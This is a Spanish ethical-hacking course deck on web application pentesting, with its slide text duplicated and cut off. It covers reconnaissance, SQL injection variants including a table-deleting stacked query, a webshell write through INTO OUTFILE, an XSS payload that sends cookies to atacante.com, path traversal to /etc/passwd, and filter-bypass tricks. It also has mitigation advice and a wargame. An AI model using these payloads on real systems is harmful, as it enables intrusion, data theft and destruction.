HACKING ÉTICO:HACKING ÉTICO:
PENTEST DE APLICACIONES
WEB
Realizada por: Eduardo Arriols
Yo.
Estudiante de 2º de Ingeniería Inf.
Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el
Hacking.
He trabajado en algunas empresas como auditor
de seguridad.
Titulado como experto en Seguridad Informática
por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred)
Twitter: @hackingeticoweb
Youtube: /user/hackingeticoweb
Pentest de Aplicaciones Web
Índice:
1. Introducción1. Introducción
2. Footprinting y Fingerprinting
3. Búsqueda de vulnerabilidades
4. Explotación de vulnerabilidades
5. Soluciones
1. Introducción: Test de intrusión o Pentest
Test de Intrusión o Pentest
Método para evaluar la seguridad de un sistema o
red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque
realizado por un intruso.
Fases:
Footprinting y Fingerprinting
Búsqueda de Vulnerabilidades
Explotación de Vulnerabilidades (PoC)
Solución / Informe
Test de Intrusión o Pentest
Fases Test de Intrusión para un auditor:
Test de Intrusión o Pentest
Fases Test de Intrusión para un atacante:
Metodologías
Nos sirven como guía, permitiéndonos seguir un
orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar.
Entre las mas importantes, sobre todo a nivel web
esta OWASP (Open Web Application Security
Project).
A nivel general OSSTMM también es muy
importante, ya que abarca todos los campos.
2. Footprinting y Fingerprinting
¿Qué es?
Primeras fases de un test de intrusión donde se va a
buscar toda la información posible del objetivo.buscar toda la información posible del objetivo.
Footprinting: Obtención de información publica
acerca del objetivo. (Menos útil a nivel web).
Fingerprinting: Obtención de información acerca
del SO, de la versión del servidor… (Menos útil a
nivel web).
Footprinting
Esencial para elaborar un ataque sofisticado
posterior.posterior.
No intrusivo, la entidad no debe detectarlo.
Recopilar mayor cantidad de información publica.
Tipos:
Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas.
Pasivo: En ningún momento nos conectamos con el
sistema a auditar.
Footprinting
Esta fase tiene mas sentido cuando se auditan
sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna
empresa.
Recopilación Pasiva:
Búsqueda con Google (Hacking Google) y otros
buscadores.buscadores.
Obtención de “vecinos web” de la aplicación.
Recopilación Activa (Utilización de Proxys):
Familiarizarse con la aplicación .
Footprinting
Google Hacking:
Solo urls de la web auditada:Solo urls de la web auditada:
Site:empresa.com
Tecnología que usa (php,asp,aspx…):
Site:empresa.com inurl:”.php?”
Paginas con links a la web auditada:
Link:empresa.com
Archivos txt:Archivos txt:
Site:empresa.com ext:txt
Busquedas avanzadas:
Buscando SQLi:
Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
Footprinting
Obtención de “vecinos web”:
Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones)
Serversniff.net/content.php?do=hostonip
Myipneighbors
Recopilación activa:
Navegar por la web y familiarizarse con ella.
Comprender la lógica de la aplicación.
Fingerprinting
A veces incluido dentro de fase de obtención de
información (activo).información (activo).
Buscamos:
Identificar las versiones y los servicios que ofrece el
sistema a auditar.
Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red,
etcétera.
Identificación de firewalls (WAF), IDS y CMS
Fingerprinting
Identificación las versiones y el SO:
Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación.
Utilización de herramientas (Identificacion de CMS)
Joomscan y wpscan (Joomla o Wordpress)
Utilización de crawlers para conocer la estructura
de la aplicación (DirBuster).
Comprobar si tiene algún tipo de WAF o IDS.
Herramienta: Waffit
Pruebas:
Footprinting Fingerprinting
Google Hacking
Buscar “vecinos web”
de uam.es
Búsqueda de banners
y mensajes de error
Utilizar DirBuster
Comprobar si existe
WAFWAF
Identificar CMS
Navegación Anónima
Antes de continuar es importante saber como
podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo
necesario incluso cuando estamos realizando un
pentest y la empresa lo sabe.
Opciones:
Utilización de TOR
Utilización de algún proxy intermedioUtilización de algún proxy intermedio
Navegación mediante proxy
Navegación Anónima
Utilización de TOR (https://www.torproject.org/):
Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado):
cd tor-browser_es-ES/
. /start-tor-browser
Utilizar proxy intermedio (Configurar navegador):
Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/
Navegar desde proxy:
Por ejemplo: http://glypeproxy.com/
3. Búsqueda de Vulnerabilidades
Búsqueda de Vulnerabilidades
Una vez sabemos como funciona la aplicación y
tenemos identificados los posibles puntos detenemos identificados los posibles puntos de
entrada es hora de buscar las diferentes
vulnerabilidades.
Tipos:
SQL Injection
XSSXSS
RFI / LFI (+ Path Transversal)
Por versiones de Software
Búsqueda de Vulnerabilidades
SQL Injection:
Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas
que la aplicación realiza a la Base de Datos.
Identificar los “Input” de la aplicación que se
relacionan con la Base de Datos e intentar modificarla
o hacer que falle (Añadiendo..):
Una ‘Una ‘
Viendo si cambia al introducir:
And 1=1
And 1=0
Búsqueda de Vulnerabilidades
XSS:
Vulnerabilidades que permiten la modificación delVulnerabilidades que permiten la modificación del
código fuente de la aplicación.
Pueden ser:
Persistentes: Cuando el código modificado se almacena.
Reflejado: Cuando el código modificado se elimina al
cargar de nuevo la pagina.cargar de nuevo la pagina.
Forma de descubrirlo:
Intentar introducir: “/><script>alert(123)</script>
Viendo el código fuente de la aplicación.
Búsqueda de Vulnerabilidades
RFI / LFI (+ Path Transversal)
LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por
ejemplo el archivo de contraseñas de linux
(/etc/passwd).
RFI: Nos permite cargar código de una pagina externa,
lo que hace que se puedan utilizar webshells remotas
que veremos mas adelante.
Identificación (Ejemplo):
Url: “index.php?page=http://google.com”
Búsqueda de Vulnerabilidades
Por versiones de Software:
Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase
posibles exploits y vulnerabilidades para el sistema a
auditar.
Paginas donde buscar:
http://www.exploit-db.comhttp://www.exploit-db.com
http://www.securityfocus.com
Búsqueda de Vulnerabilidades
Herramientas:
Nikto: Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre
todo a nivel web. Nos permite hacernos una idea de
donde puede fallar la aplicación.
root@bt:/pentest/web/nikto# perl nikto.pl –host x.com
Herramientas de pago:Herramientas de pago:
Acunetix
Netsparker
Pruebas:
Búsqueda de Vulnerabilidades:
Mediante Google Hacking encontrar web
vulnerables a SQL Injection
Encontrar XSS comprobando código fuente
Leer archivo distinto al predefinido (LFI)
Cargar Google.com (RFI)Cargar Google.com (RFI)
4. Explotación de Vulnerabilidades
Explotación de Vulnerabilidades
En esta fase vamos a ver de que formas podría un
atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar
la aplicación web.
Las técnicas que vamos a ver son:
SQL Injection (Union, Blind, Time-base…)
XSS (Reflejado y persistente)XSS (Reflejado y persistente)
RFI / LFI (+ Path Transversal)
Técnicas de Bypass
Curiosidades
SQL Injection
Durante la formación vamos a ver los siguientes
tipos de inyección SQL:tipos de inyección SQL:
Mediante UNION
Boolean-base Blind SQLi (A ciegas)
Time-Base Blind SQLi (Basadas en tiempo)
Heavy Queries SQLi (Consultas pesadas)
Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas)
De SQL Injection a RFI
SQL Injection (Mediante UNION)
Sacar información básica (usuario, DB…):
Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía
Buscamos el numero de columnas que tiene la consulta
para poder realizar nuestra propia consulta mediante
“UNION”
Sacamos información mediante:
User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
SQL Injection (Mediante UNION)
Sacar tablas de la BD
Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables
De ahí sacamos que tablas hay en la base de datos
Utilización de “limit N,1” para sacar las distintas
tablas
Sacar columnas de las tablas
Idéntico al anterior pero utilizando
information_schema.columns
SQL Injection (Mediante UNION)
Sacar registros de las tablas
Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta
que queremos como:
… UNION SELECT usuario,password FROM usuarios LIMIT
0,1
Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla,
en caso de que no nos dejara todos a la vez.
Boolean-base Blind SQLi
En este caso, nos enfrentamos a una situación en la
que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de
información por pantalla. Y habrá que ir
realizando consultas y fijándonos si el resultado es
positivo o negativo (Situación Booleana).
Hay que ir extrayendo letra por letra todo la
información. Ejemplo:información. Ejemplo:
Ejemplo:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
Time-Base Blind SQLi
Son situaciones similares a la anterior, donde la
aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla.
Pero además, ahora la aplicación tampoco cambiara
entre dos opciones (la condición cierta y la falsa)…
Aun así no esta todo perdido, es posible realizar otras
consultas donde lo que nos va a indicar si es cierta o no
la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de
datos.
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
Heavy Queries SQLi
Esta técnica es una variante de la anterior, pero
donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción
sleep() esta filtrada…
En este caso deberemos realizar consultas pesadas,
que provoquen que la base de datos tarde mucho
en responder, logrando el mismo efecto que con
sleep() aunque menos preciso.sleep() aunque menos preciso.
Para esta técnica MySQL no tiene tantas opciones
como Postgres o Mssql.
Heavy Queries SQLi
Ej:
… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
and 1=(SELECT COUNT(*) FROM
information_schema.columns as a,
information_schema.columns as b,
information_schema.columns as c,
information_schema.columns as d,
information_schema.columns as e)
Esta consulta tarda unos 5 segundos en realizarse.
Stack Queries SQLi
Esta ultima técnica que vamos a ver es sin duda la
mas peligrosa.mas peligrosa.
Hasta ahora todas las técnicas que hemos visto nos
permitían obtener información, pero no modificarla.
En cambio ahora si vamos a poder hacerlo
mediante la apilación de consultas. Con ello
podremos en una sola petición realizar varias
consultas (Separadas por ‘;’).consultas (Separadas por ‘;’).
Ej (Borrado completo de la tabla usuarios):
… AND 1=0; DELETE FROM usuarios
De SQL Injection a RFI
Con esta ultima técnica vamos a ver una de las
formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una
inyección SQL.
En el ejemplo crearemos un archivo php que
podremos llamar desde el navegador introduciendo
en el parámetro ‘cmd’ la url de la WebShell,
obteniendo el control del servidor completo.
Ej:
… UNION SELECT 1,’<?php include($_GET[$cmd]);
?>’ INTO OUTFILE ‘/prueba.php’
XSS
Vulnerabilidad que principalmente se utiliza para el
robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para
realizar ‘defaces’ de webs, instalar keyloggers,
troyanización de navegadores…
Tipos:
Reflejado: Permite únicamente el robo de cookies o
credenciales. Se basa en la ejecución de código por parte
del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente).
Persistente: Permite todos los tipos de ataques anteriores, es
menos común de encontrar. Los datos son guardados en el
servidor, y servidos a todos aquellos que visiten la pagina.
XSS
Ejemplo de robo de cookies (Reflejado):
<script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo
_cookies.php?cookie=" + document.cookie</script>
Esto permite que el atacante robe los datos y pueda
logearse en la aplicación modificando sus cookies.
Realización de deface (Persistente):Realización de deface (Persistente):
Cargar pagina externa
Modificar la pagina actual con código Javascript
RFI / LFI
RFI (Remote File Inclusion): Permite cargar en el
servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor.
Normalmente se utiliza para subir una WebShell y
tomar el control del servidor.
Es complicado encontrar este tipo de vulnerabilidades,
ya que se necesita que se den una serie de
condiciones…condiciones…
Para explotarlo únicamente seria necesario cargar la
url donde se encuentre la WebShell, siempre en txt
debido a que sino se ejecutaría en nuestro servidor.
RFI / LFI
LFI: Nos permite acceder a ficheros del servidor de
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
carácter privado. Para ello normalmente se hace uso
del Path Transversal, que es una técnica para ir
saltando de directorio.
Ej:
Aplicación: ?page=index.php
Atacante: ?page=../../../../../../../../../../etc/passwd
Consiguiendo con esto acceso al archivo /etc/passwd del
servidor.
Técnicas de Bypass
En algunas aplicaciones que se encuentra ‘seguras’
se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se
lleven acabo ciertas técnicas como SQLi o XSS.
Pero en la inmensa mayoría resulta trivial
saltárselas realizando pequeñas modificaciones.
Bypass de filtros en:
SQL InjectionSQL Injection
XSS
Técnicas de Bypass (SQLi)
Con estas técnicas básicas es posible saltarse la gran
mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran
la palabra exacta y no pequeñas variaciones.
Alternar May. Y Min: … uNiOn SelEcT 1,2
AND Filtrado: Sustituir AND por %26%26
OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por ||
Uso de comentarios:
… uNi/**/On Sel/**/EcT 1,2
Tecnicas de Bypass(XSS)
En el caso de XSS es similar…
Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y
%3e (Su valor en ascii)
Palabras como script filtradas:
Intercalar May. y Min.Intercalar May. y Min.
Uso de comentarios: <scr<--comentario-->ipt>
Uso de URL Encode, etc…
Curiosidades
Buscadores como arma de destrucción masiva:
Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en
buscadores como Google, Bing… Lo que podría
permitir que cada cierto tiempo a dicha aplicación se
le borrara la DB.
Troyanizacion de navegadores:Troyanizacion de navegadores:
Mediante la herramienta BeEF es posible troyanizar los
navegadores de todas aquellas personas que entren
en una pagina vulnerable a XSS Persistente.
Pruebas
Explotación de Vulnerabilidades: SQL Injection
Obtener información privada de la aplicación
Descubrir Boolean-Base Blind SQLi
Descubrir Time-Base Blind SQLi
Bypass de filtro SQL Injection
Lograr RFI desde SQL Injection
Pruebas
XSS RFI / LFI
Realizar XSS
Reflejado
Introducir XSS
Persistente con un
comentario
Acceso a archivos
privados del serv.
Utilización de una
WebShell
comentario
Salto de filtro XSS
Soluciones
Soluciones
La gran mayoría de fallos vistos se podrían evitar si
desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas
de seguridad, normalmente con un correcto tratamiento
de todos aquellos input es suficiente.
Daremos una solución sencilla pero efectiva a los
ataques vistos (SQLi, XSS, RFI/LFI)
Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones
como isint en php, evitando que se introduzca otra cosa.
Aunque para asegurar realmente una aplicación a
“prueba de bombas” suele ser muy efectivo un WAF.
Soluciones
SQL Injection:
Transformar todo a ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.)
Utilización de funciones propias del servidor para securizar
las consultas (php+mysql como mysql_real_query, etc…)
Realizar un filtrado de las palabras:
And, or, union, select, concat, group, from, where, sleep, etc…
XSS:
Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities
Además realizar un filtrado tanto de comentarios como de
caracteres especiales.
Dejar todo en minúsculas o mayúsculas.
Soluciones
RFI / LFI:
Desactivar características del servidor web como:Desactivar características del servidor web como:
allow_url_fopen
allow_url_include
Que eviten que un atacante pueda incluir archivos tanto
remotos como locales.
Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como:
Include
Require
Require_once
…
Fin …
Una vez hemos visto como realizar un proceso de
pentest o test de intrusión completo a una
aplicación web, siguiendo todas y cada una de sus
fases desde la obtención de información hasta la
solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
!Aun queda lo mas divertido!
5. Wargame
Wargame
Una vez hemos aprendido las técnicas mas
utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo
pentesters es hora de demostrar todo lo que sabéis.
Se os pondrán una serie de retos que deberéis
intentar realizar lo antes posible, quien al final
sume mas puntos será el ganador asique…sume mas puntos será el ganador asique…
Suerte!!
Wargame
Retos a realizar:
Obtener Usuarios 30 puntosObtener Usuarios 30 puntos
Logearse como usuario 50 puntos
Obtener datos bancarios 30 puntos
Modificar datos bancarios (Ayudar a pette) 150 pts
Deface sencillo de la pag. Principal 100 puntos
Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos
Lectura del fichero: C:/xampp/premio.php 20
puntos
ESPERO QUE LO HAYÁIS DISFRUTADO Y
APRENDIDO MUCHO DE LA FORMACIÓN.
PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE
PARA LO QUE NECESITÉIS NO DUDÉIS EN
PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO!
UN SALUDO A TOD@S!
GRACIAS.
GRACIAS EN ESPECIAL A:
ROBERTO LOPEZROBERTO LOPEZ
ÁLVARO ORTIGOSA
ÁLVARO GOMEZ (J0K3N)
Realizada por: Eduardo Arriols

Hacking ético [Pentest]

  • 1.
    HACKING ÉTICO:HACKING ÉTICO: PENTESTDE APLICACIONES WEB Realizada por: Eduardo Arriols
  • 2.
    Yo. Estudiante de 2ºde Ingeniería Inf. Aficionado a la Seguridad Informática y elAficionado a la Seguridad Informática y el Hacking. He trabajado en algunas empresas como auditor de seguridad. Titulado como experto en Seguridad Informática por la Unv. De Salamanca (Certyred)por la Unv. De Salamanca (Certyred) Twitter: @hackingeticoweb Youtube: /user/hackingeticoweb
  • 3.
    Pentest de AplicacionesWeb Índice: 1. Introducción1. Introducción 2. Footprinting y Fingerprinting 3. Búsqueda de vulnerabilidades 4. Explotación de vulnerabilidades 5. Soluciones
  • 4.
    1. Introducción: Testde intrusión o Pentest
  • 5.
    Test de Intrusióno Pentest Método para evaluar la seguridad de un sistema o red de sistemas de información simulando el ataquered de sistemas de información simulando el ataque realizado por un intruso. Fases: Footprinting y Fingerprinting Búsqueda de Vulnerabilidades Explotación de Vulnerabilidades (PoC) Solución / Informe
  • 6.
    Test de Intrusióno Pentest Fases Test de Intrusión para un auditor:
  • 7.
    Test de Intrusióno Pentest Fases Test de Intrusión para un atacante:
  • 8.
    Metodologías Nos sirven comoguía, permitiéndonos seguir un orden en todas las posibles pruebas a realizar.orden en todas las posibles pruebas a realizar. Entre las mas importantes, sobre todo a nivel web esta OWASP (Open Web Application Security Project). A nivel general OSSTMM también es muy importante, ya que abarca todos los campos.
  • 9.
    2. Footprinting yFingerprinting
  • 10.
    ¿Qué es? Primeras fasesde un test de intrusión donde se va a buscar toda la información posible del objetivo.buscar toda la información posible del objetivo. Footprinting: Obtención de información publica acerca del objetivo. (Menos útil a nivel web). Fingerprinting: Obtención de información acerca del SO, de la versión del servidor… (Menos útil a nivel web).
  • 11.
    Footprinting Esencial para elaborarun ataque sofisticado posterior.posterior. No intrusivo, la entidad no debe detectarlo. Recopilar mayor cantidad de información publica. Tipos: Activo: Se realizan pruebas contra los sistemas.Activo: Se realizan pruebas contra los sistemas. Pasivo: En ningún momento nos conectamos con el sistema a auditar.
  • 12.
    Footprinting Esta fase tienemas sentido cuando se auditan sistemas informáticos grandes como el de algunasistemas informáticos grandes como el de alguna empresa. Recopilación Pasiva: Búsqueda con Google (Hacking Google) y otros buscadores.buscadores. Obtención de “vecinos web” de la aplicación. Recopilación Activa (Utilización de Proxys): Familiarizarse con la aplicación .
  • 13.
    Footprinting Google Hacking: Solo urlsde la web auditada:Solo urls de la web auditada: Site:empresa.com Tecnología que usa (php,asp,aspx…): Site:empresa.com inurl:”.php?” Paginas con links a la web auditada: Link:empresa.com Archivos txt:Archivos txt: Site:empresa.com ext:txt Busquedas avanzadas: Buscando SQLi: Site:empresa.com inurl:”.php?” “Warning mysql_fetch_array()”
  • 14.
    Footprinting Obtención de “vecinosweb”: Robtex.com (Nos da + opciones)Robtex.com (Nos da + opciones) Serversniff.net/content.php?do=hostonip Myipneighbors Recopilación activa: Navegar por la web y familiarizarse con ella. Comprender la lógica de la aplicación.
  • 15.
    Fingerprinting A veces incluidodentro de fase de obtención de información (activo).información (activo). Buscamos: Identificar las versiones y los servicios que ofrece el sistema a auditar. Identificación de sistemas operativos, elementos de red,Identificación de sistemas operativos, elementos de red, etcétera. Identificación de firewalls (WAF), IDS y CMS
  • 16.
    Fingerprinting Identificación las versionesy el SO: Búsqueda de banners/errores en la aplicación.Búsqueda de banners/errores en la aplicación. Utilización de herramientas (Identificacion de CMS) Joomscan y wpscan (Joomla o Wordpress) Utilización de crawlers para conocer la estructura de la aplicación (DirBuster). Comprobar si tiene algún tipo de WAF o IDS. Herramienta: Waffit
  • 17.
    Pruebas: Footprinting Fingerprinting Google Hacking Buscar“vecinos web” de uam.es Búsqueda de banners y mensajes de error Utilizar DirBuster Comprobar si existe WAFWAF Identificar CMS
  • 18.
    Navegación Anónima Antes decontinuar es importante saber como podemos navegar de forma anónima, algopodemos navegar de forma anónima, algo necesario incluso cuando estamos realizando un pentest y la empresa lo sabe. Opciones: Utilización de TOR Utilización de algún proxy intermedioUtilización de algún proxy intermedio Navegación mediante proxy
  • 19.
    Navegación Anónima Utilización deTOR (https://www.torproject.org/): Comandos para iniciarlo (Ya esta instalado):Comandos para iniciarlo (Ya esta instalado): cd tor-browser_es-ES/ . /start-tor-browser Utilizar proxy intermedio (Configurar navegador): Por ejemplo: http://www.samair.ru/proxy/Por ejemplo: http://www.samair.ru/proxy/ Navegar desde proxy: Por ejemplo: http://glypeproxy.com/
  • 20.
    3. Búsqueda deVulnerabilidades
  • 21.
    Búsqueda de Vulnerabilidades Unavez sabemos como funciona la aplicación y tenemos identificados los posibles puntos detenemos identificados los posibles puntos de entrada es hora de buscar las diferentes vulnerabilidades. Tipos: SQL Injection XSSXSS RFI / LFI (+ Path Transversal) Por versiones de Software
  • 22.
    Búsqueda de Vulnerabilidades SQLInjection: Técnica que permite la manipulación de las consultasTécnica que permite la manipulación de las consultas que la aplicación realiza a la Base de Datos. Identificar los “Input” de la aplicación que se relacionan con la Base de Datos e intentar modificarla o hacer que falle (Añadiendo..): Una ‘Una ‘ Viendo si cambia al introducir: And 1=1 And 1=0
  • 23.
    Búsqueda de Vulnerabilidades XSS: Vulnerabilidadesque permiten la modificación delVulnerabilidades que permiten la modificación del código fuente de la aplicación. Pueden ser: Persistentes: Cuando el código modificado se almacena. Reflejado: Cuando el código modificado se elimina al cargar de nuevo la pagina.cargar de nuevo la pagina. Forma de descubrirlo: Intentar introducir: “/><script>alert(123)</script> Viendo el código fuente de la aplicación.
  • 24.
    Búsqueda de Vulnerabilidades RFI/ LFI (+ Path Transversal) LFI: Nos permite cargar archivos del sistema como porLFI: Nos permite cargar archivos del sistema como por ejemplo el archivo de contraseñas de linux (/etc/passwd). RFI: Nos permite cargar código de una pagina externa, lo que hace que se puedan utilizar webshells remotas que veremos mas adelante. Identificación (Ejemplo): Url: “index.php?page=http://google.com”
  • 25.
    Búsqueda de Vulnerabilidades Porversiones de Software: Buscar con la información obtenida de la primera faseBuscar con la información obtenida de la primera fase posibles exploits y vulnerabilidades para el sistema a auditar. Paginas donde buscar: http://www.exploit-db.comhttp://www.exploit-db.com http://www.securityfocus.com
  • 26.
    Búsqueda de Vulnerabilidades Herramientas: Nikto:Permite una búsqueda de vulnerabilidades sobreNikto: Permite una búsqueda de vulnerabilidades sobre todo a nivel web. Nos permite hacernos una idea de donde puede fallar la aplicación. root@bt:/pentest/web/nikto# perl nikto.pl –host x.com Herramientas de pago:Herramientas de pago: Acunetix Netsparker
  • 27.
    Pruebas: Búsqueda de Vulnerabilidades: MedianteGoogle Hacking encontrar web vulnerables a SQL Injection Encontrar XSS comprobando código fuente Leer archivo distinto al predefinido (LFI) Cargar Google.com (RFI)Cargar Google.com (RFI)
  • 28.
    4. Explotación deVulnerabilidades
  • 29.
    Explotación de Vulnerabilidades Enesta fase vamos a ver de que formas podría un atacante sacar información confidencial o modificaratacante sacar información confidencial o modificar la aplicación web. Las técnicas que vamos a ver son: SQL Injection (Union, Blind, Time-base…) XSS (Reflejado y persistente)XSS (Reflejado y persistente) RFI / LFI (+ Path Transversal) Técnicas de Bypass Curiosidades
  • 30.
    SQL Injection Durante laformación vamos a ver los siguientes tipos de inyección SQL:tipos de inyección SQL: Mediante UNION Boolean-base Blind SQLi (A ciegas) Time-Base Blind SQLi (Basadas en tiempo) Heavy Queries SQLi (Consultas pesadas) Stack Queries SQLi (Consultas apiladas)Stack Queries SQLi (Consultas apiladas) De SQL Injection a RFI
  • 31.
    SQL Injection (MedianteUNION) Sacar información básica (usuario, DB…): Dejamos la consulta de la aplicación vacíaDejamos la consulta de la aplicación vacía Buscamos el numero de columnas que tiene la consulta para poder realizar nuestra propia consulta mediante “UNION” Sacamos información mediante: User(),database(),@@version,@@datadir…User(),database(),@@version,@@datadir…
  • 32.
    SQL Injection (MedianteUNION) Sacar tablas de la BD Utilizamos la tabla: information_schema.tablesUtilizamos la tabla: information_schema.tables De ahí sacamos que tablas hay en la base de datos Utilización de “limit N,1” para sacar las distintas tablas Sacar columnas de las tablas Idéntico al anterior pero utilizando information_schema.columns
  • 33.
    SQL Injection (MedianteUNION) Sacar registros de las tablas Con la información obtenida construimos la consultaCon la información obtenida construimos la consulta que queremos como: … UNION SELECT usuario,password FROM usuarios LIMIT 0,1 Pudiendo así ir sacando todos los registros de la tabla,Pudiendo así ir sacando todos los registros de la tabla, en caso de que no nos dejara todos a la vez.
  • 34.
    Boolean-base Blind SQLi Eneste caso, nos enfrentamos a una situación en la que el atacante no recibe ningún tipo deque el atacante no recibe ningún tipo de información por pantalla. Y habrá que ir realizando consultas y fijándonos si el resultado es positivo o negativo (Situación Booleana). Hay que ir extrayendo letra por letra todo la información. Ejemplo:información. Ejemplo: Ejemplo: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios
  • 35.
    Time-Base Blind SQLi Sonsituaciones similares a la anterior, donde la aplicación no muestra ningún tipo de dato por pantalla.aplicación no muestra ningún tipo de dato por pantalla. Pero además, ahora la aplicación tampoco cambiara entre dos opciones (la condición cierta y la falsa)… Aun así no esta todo perdido, es posible realizar otras consultas donde lo que nos va a indicar si es cierta o no la consulta será el tiempo de respuesta de la base dela consulta será el tiempo de respuesta de la base de datos. Ej: … UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and sleep(5)
  • 36.
    Heavy Queries SQLi Estatécnica es una variante de la anterior, pero donde para complicar mas las cosas la opcióndonde para complicar mas las cosas la opción sleep() esta filtrada… En este caso deberemos realizar consultas pesadas, que provoquen que la base de datos tarde mucho en responder, logrando el mismo efecto que con sleep() aunque menos preciso.sleep() aunque menos preciso. Para esta técnica MySQL no tiene tantas opciones como Postgres o Mssql.
  • 37.
    Heavy Queries SQLi Ej: …UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios… UNION SELECT 1, substr(pass,1,1)=‘a’ from usuarios and 1=(SELECT COUNT(*) FROM information_schema.columns as a, information_schema.columns as b, information_schema.columns as c, information_schema.columns as d, information_schema.columns as e) Esta consulta tarda unos 5 segundos en realizarse.
  • 38.
    Stack Queries SQLi Estaultima técnica que vamos a ver es sin duda la mas peligrosa.mas peligrosa. Hasta ahora todas las técnicas que hemos visto nos permitían obtener información, pero no modificarla. En cambio ahora si vamos a poder hacerlo mediante la apilación de consultas. Con ello podremos en una sola petición realizar varias consultas (Separadas por ‘;’).consultas (Separadas por ‘;’). Ej (Borrado completo de la tabla usuarios): … AND 1=0; DELETE FROM usuarios
  • 39.
    De SQL Injectiona RFI Con esta ultima técnica vamos a ver una de las formas de lograr obtener un RFI mediante unaformas de lograr obtener un RFI mediante una inyección SQL. En el ejemplo crearemos un archivo php que podremos llamar desde el navegador introduciendo en el parámetro ‘cmd’ la url de la WebShell, obteniendo el control del servidor completo. Ej: … UNION SELECT 1,’<?php include($_GET[$cmd]); ?>’ INTO OUTFILE ‘/prueba.php’
  • 40.
    XSS Vulnerabilidad que principalmentese utiliza para el robo de cookies o credenciales, pero también pararobo de cookies o credenciales, pero también para realizar ‘defaces’ de webs, instalar keyloggers, troyanización de navegadores… Tipos: Reflejado: Permite únicamente el robo de cookies o credenciales. Se basa en la ejecución de código por parte del navegador al interpretar la url(Independiente).del navegador al interpretar la url(Independiente). Persistente: Permite todos los tipos de ataques anteriores, es menos común de encontrar. Los datos son guardados en el servidor, y servidos a todos aquellos que visiten la pagina.
  • 41.
    XSS Ejemplo de robode cookies (Reflejado): <script>document.location="http://atacante.com/robo<script>document.location="http://atacante.com/robo _cookies.php?cookie=" + document.cookie</script> Esto permite que el atacante robe los datos y pueda logearse en la aplicación modificando sus cookies. Realización de deface (Persistente):Realización de deface (Persistente): Cargar pagina externa Modificar la pagina actual con código Javascript
  • 42.
    RFI / LFI RFI(Remote File Inclusion): Permite cargar en el servidor código que se encuentra en otro servidor.servidor código que se encuentra en otro servidor. Normalmente se utiliza para subir una WebShell y tomar el control del servidor. Es complicado encontrar este tipo de vulnerabilidades, ya que se necesita que se den una serie de condiciones…condiciones… Para explotarlo únicamente seria necesario cargar la url donde se encuentre la WebShell, siempre en txt debido a que sino se ejecutaría en nuestro servidor.
  • 43.
    RFI / LFI LFI:Nos permite acceder a ficheros del servidor de carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir carácter privado. Para ello normalmente se hace uso del Path Transversal, que es una técnica para ir saltando de directorio. Ej: Aplicación: ?page=index.php Atacante: ?page=../../../../../../../../../../etc/passwd Consiguiendo con esto acceso al archivo /etc/passwd del servidor.
  • 44.
